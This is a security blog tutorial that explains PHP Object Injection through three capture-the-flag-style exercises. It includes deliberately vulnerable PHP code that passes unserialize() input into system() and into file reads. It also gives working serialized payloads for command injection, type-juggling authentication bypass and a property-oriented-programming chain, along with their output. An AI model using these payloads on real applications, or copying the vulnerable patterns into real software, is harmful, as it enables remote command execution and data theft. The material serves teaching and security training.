Cybersecurity blog header

How PHP Object Injection works

PHP Object Injection enables the arbitrary manipulation of an object content that shall be unserialized using the PHP unserialize() function. This kind of web application vulnerabilities usually requires a bigger complexity when exploiting. Therefore, exploitability and associated impact could be misunderstood in case a deep analysis is avoided.

php object injection

Test php object injection payloads with burp

As a suggestion, a set of simple exercises in order to introduce this type of vulnerabilities are included right after. Please, find below the corresponding exercises and solutions. By the way, exercises source code can be downloaded from our GitHub repository.

In this article, object-oriented programming in PHP is not explained in detail. This way, this task is left up to reader’s discretion.

PHP Object Injection – Exercise 0

The correct exploitability of this type of vulnerabilities requires the presence of 2 basic interconnected elements:

  • The unserializacion of an object which manipulation is feasible from the user’s side (i.e. a cookie storing data as a serialized object)
  • The use of a magic method (__wakeup, __destroy…) that can be abused in order to achieve interesting actions from a malicious user’s perspective (commands remote execution, file manipulation, etc.).

The first element of the list is obviously mandatory since we are talking about                  a vulnerability based on object manipulation. However, the second element – use of magic methods – can be questioned. Magic methods are going to act as triggers of those functions we what to abuse of, since those methods are going to be run automatically in certain situations (object unserialization, object destruction, etc.). Please, visit the following link referring to available magic methods in PHP among other information: https://php.net/manual/es/language.oop5.magic.php.

Please, see first exercise source code below:

<?php
// Exercise - 0

// Author: @TheXC3LL
// Website: ka0labs.net

class warm {
  public $dir = ".";
  public function __wakeup() {
    echo "This folder contains:n";
    system("ls " . $this->dir);
  }
}

$test = new warm();
$a = serialize($test);
echo "Example of an object:n$ann";
unserialize($argv[1]);

?>

An unserialize() without filtering is found. This one shall take as argument a parameter that we provide. Also, a class using the method _wakeup() is also found. This last one shall be run automatically when unserializing the object with the warm class. In addition, this method uses a variable in a system(). This is the perfect storm in order to achieve remote command execution. If the serialized object that is used as an example is passed as argument, we might easily understand after a careful analysis how to exploit this vulnerability is possible.

gidorah@kaiju:~/Documentos/POI/Exercise 0|
⇒ php exercise-0.php ‘O:4:”warm”:1:{s:3:”dir”;s:1:”.”;}’
Example of an object:
O:4:”warm”:1:{s:3:”dir”;s:1:”.”;}

This folder contains:
exercise-0.php
flag.txt

In unserializing the object, the __wakeup method has been automatically run where we had a system() with “ls” concatenation result as argument and “.” as “dir” variable value. All these values are in the serialized object, therefore it is not difficult to manipulate. As a conclusion, we can achieve arbitrary commands execution modifying “dir” value:

gidorah@kaiju:~/Documentos/POI/Exercise 0| ⇒ php exercise-0.php ‘O:4:”warm”:1:{s:3:”dir”;s:23:”>/dev/null;cat flag.txt”;}’ Example of an object: O:4:”warm”:1:{s:3:”dir”;s:1:”.”;}

This folder contains:
ka0labs{n1c3_W0rK_bUt_st1ll_34sY}

Please, note how variable content size value is modified (from 23 to 1) in order to meet the new value.

PHP object injection – Exercise 1

This exercise also follows the same path as the previous one, making it a bit more complex in order to show the basic understanding of this vulnerability exploitation.

<?php 
// Exercise - 1

// Author: @TheXC3LL
// Website: Tarlogic.com

class login {
  public $username = "X-C3LL";
  public $password = "Insanity";
  public $role = "MUGGLE";
}

$one = new login();

$a = serialize($one);
echo "Example of an object:n$ann";
echo "FLAG: n";
$test = unserialize($argv[1]);
$check = $test->role - 1337;
if ($check == "ADMIN") {
  $flag = file_get_contents("flag.txt");
  echo $flag;
} else {
  echo "No flag for you!! Better luck next time!n";
}
?>

This time, we have a “login” class including three string type variables: username, password and role. The first difference regarding the previous one is that no abusing magic method appears. However, we can see how unserialized data is used to carry out some checks before showing “flag.txt” file content.

The following condition should be fulfilled in order to obtain the flag: $check variable resulting from subtracting 1337 from “role” variable is equal to “ADMIN” text string. Then, the code shall be run in order to see the sample object that we are supposed to work on:

gidorah@kaiju:~/Documentos/POI/Exercise 1|
⇒ php exercise-1.php 
Example of an object:
O:5:"login":3:{s:8:"username";s:6:"X-C3LL";s:8:"password";s:8:"Insanity";s:4:"role";s:6:"MUGGLE";}

Having understood the previous exercise, it is obvious that the path towards the solution of this exercise refers to “role” variable edition. However, which modification should we apply? In order to answer this question, please see the comparison table included in the following link: https://php.net/manual/es/types.comparisons.php

In PHP, the result of comparing a text string with a 0 integer value is TRUE, therefore the condition shall be fulfilled if “role” is not a string anymore and becomes a integer of 1337 (1337 – 1337 = 0) value.

gidorah@kaiju:~/Documentos/POI/Exercise 1|
⇒ php exercise-1.php 'O:5:"login":3:{s:8:"username";s:6:"X-C3LL";s:8:"password";s:8:"Insanity";s:4:"role";i:1337;}'
Example of an object:
O:5:"login":3:{s:8:"username";s:6:"X-C3LL";s:8:"password";s:8:"Insanity";s:4:"role";s:6:"MUGGLE";}

FLAG:
ka0labs{d0ubl3_3qU4l_sUkS}

PHP Object Injection – Exercise 2

The last exercise is aimed at introducing the concept of “Property-Oriented Programming” (“POP”). In much the same way as ROP in binary exploitation, we can exploit a PHP Object Injection reusing parts of the code by creating a string of objects.

<?php
// Exercise - 2

// Author: @TheXC3LL
// Website: Tarlogic.com
// Modificado de: https://syssec.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf

class File {
  public function flag() {
    $this->innocent();
  }
  public function innocent() {
    echo "Aquí no pasa nada :Dn";
  }
}

class GiveFlag extends File {
  public $offset = 23;
  public function innocent() {
    $stuff = fopen("flag.txt", "r");
    fseek($stuff, $this->offset);
    print fread($stuff, filesize("flag.txt"));
  }
}
class entry {
  public function __destruct(){
    $this->awesome->flag();
  }
}
unserialize($argv[1]);

?>

Please, note that in this PHP Object Injection exercise, there are 3 code portions that we can use by creating a POP Chain. The first step regarding string creation in order to make vulnerability exploitation feasible lies in finding both extremes: an entry point and an interesting method (command running, file manipulation…) as final point.

In this case, due to the fact that this is a condensed summary, the code is very short and both points are easy to find. Therefore, the beginning would be located in “entry” class where there is a magic method which might be invoked once the object is destroyed. On the other hand, the method we want to control is located in “GiveFlag” class, where it can be observed that “flag.txt” file is read.

It can be noted that we can call “flag” function from “awesome” property analyzing “entry”. Then, if we make “awesome” uploading the “GiveFlag” class, we could run flag() perfectly (since this class inherits “File” class function). At the same time, flag shall call GivenFlag() innocent resulting in showing the flag.

gidorah@kaiju:~/Documentos/POI/Exercise 2|
⇒ php exercise-2bis.php 'O:5:"entry":1:{s:7:"awesome";O:8:"GiveFlag":0:{}}'
THIS IS NOT THE FLAG

Finally, the last step shall be changing the offset variable value in order to show the beginning of the flag.txt file and not 23 position.

gidorah@kaiju:~/Documentos/POI/Exercise 2|
⇒ php exercise-2bis.php 'O:5:"entry":1:{s:7:"awesome";O:8:"GiveFlag":1:{s:6:"offset";i:0;}}'
ka0labs{Ch4_ch4_Ch41n} THIS IS NOT THE FLAG

Discover our work and cybersecurity services at www.tarlogic.com